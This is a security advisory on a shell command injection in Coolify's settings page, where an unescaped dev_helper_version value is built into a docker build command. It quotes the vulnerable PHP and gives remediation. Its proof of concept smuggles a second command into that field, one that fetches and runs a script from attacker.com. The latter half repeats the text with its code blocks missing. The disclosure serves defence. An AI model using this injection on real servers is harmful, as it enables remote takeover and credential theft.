Summary
The buildHelperImage() method in app/Livewire/Settings/Index.php constructs a Docker build command using user-controlled input ($this->dev_helper_version) without shell escaping. An attacker who can set the dev_helper_version field can inject arbitrary shell commands that execute on the server when the helper image build is triggered.
Details
In app/Livewire/Settings/Index.php:172-209:
public function buildHelperImage()
{
try {
if (! isDev()) {
$this->dispatch('error', 'Building helper image is only available in development mode.');
return;
}
// ...
$version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
// ...
$buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";
$activity = remote_process(
command: [$buildCommand],
server: $this->server,
type: 'build-helper-image'
);
The $version variable comes from $this->dev_helper_version which is a Livewire property set by user input. It is validated only as nullable|string|max:50 (line 38-39) but NOT escaped for shell metacharacters. The $buildCommand string is then passed to remote_process() which executes it on the server via SSH.
While there is an isDev() check, this function returns true in development environments, and the dev_helper_version field is stored in the database and can be set through the settings interface.
PoC
- Access the instance settings page as an authenticated user
- Set
dev_helper_version to:
latest -f /dev/null; curl http://attacker.com/shell.sh | bash; echo "
- Click "Build Helper Image"
- The resulting command becomes:
docker build -t ghcr.io/coollabsio/coolify-helper:latest -f /dev/null; curl http://attacker.com/shell.sh | bash; echo " -f docker/coolify-helper/Dockerfile .
- The injected command executes on the server
Impact
An attacker can:
- Execute arbitrary commands on the server
- Gain reverse shell access
- Exfiltrate sensitive data (environment variables, database credentials)
- Pivot to other systems in the network
Remediation
- Use
escapeshellarg($version) when interpolating into the shell command:
$buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:".escapeshellarg($version)." -f docker/coolify-helper/Dockerfile .";
- Validate
$version against a strict regex pattern (e.g., /^[a-zA-Z0-9._-]+$/)
- Consider removing the
dev_helper_version field from production builds entirely
Summary
The
buildHelperImage()method inapp/Livewire/Settings/Index.phpconstructs a Docker build command using user-controlled input ($this->dev_helper_version) without shell escaping. An attacker who can set thedev_helper_versionfield can inject arbitrary shell commands that execute on the server when the helper image build is triggered.Details
In
app/Livewire/Settings/Index.php:172-209:The
$versionvariable comes from$this->dev_helper_versionwhich is a Livewire property set by user input. It is validated only asnullable|string|max:50(line 38-39) but NOT escaped for shell metacharacters. The$buildCommandstring is then passed toremote_process()which executes it on the server via SSH.While there is an
isDev()check, this function returnstruein development environments, and thedev_helper_versionfield is stored in the database and can be set through the settings interface.PoC
dev_helper_versionto:Impact
An attacker can:
Remediation
escapeshellarg($version)when interpolating into the shell command:$versionagainst a strict regex pattern (e.g.,/^[a-zA-Z0-9._-]+$/)dev_helper_versionfield from production builds entirely